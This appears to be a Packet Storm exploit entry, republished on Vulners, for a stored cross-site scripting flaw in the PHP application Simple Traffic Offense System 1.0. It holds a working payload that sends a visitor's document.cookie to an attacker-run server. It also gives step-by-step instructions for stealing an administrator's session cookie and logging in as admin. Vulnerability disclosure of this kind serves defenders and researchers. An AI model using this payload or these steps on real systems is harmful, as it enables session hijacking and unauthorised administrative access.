Lucene search
K

Simple Traffic Offense System 1.0 Cross Site Scripting

🗓️ 05 Apr 2021 00:00:00Reported by Richard JonesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 235 Views

Simple Traffic Offense System 1.0 Stored Cross Site Scripting (Cookie-theft) vulnerabilit

Code
`# Exploit Title: Traffic Offense System | Stored Cross Site Scripting (Cookie-theft)  
# Exploit Author: Richard Jones  
# Date: 03-04-2021  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/12330/simple-traffic-offense-system-php.html  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
  
Stored XSS by adding a offense report.  
  
Steps  
1. Using an officer account, login to the application.  
2. Start a python server (python3 -m http.server 8090)  
3. Goto Report Offense, make a report, add payload below in the name or address field  
  
Payload:   
  
"><img src=x onerror="this.src='http://YOUR-IP:8090/?'+document.cookie; this.removeAttribute('onerror');">  
  
4. Wait for the admin to login.   
5. Cookies will show in the python server  
6. Get admin access here: http://TARGET/trafic/index.php , open dev tools (f12), add cookie to session and refresh page to be logged in as admin.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation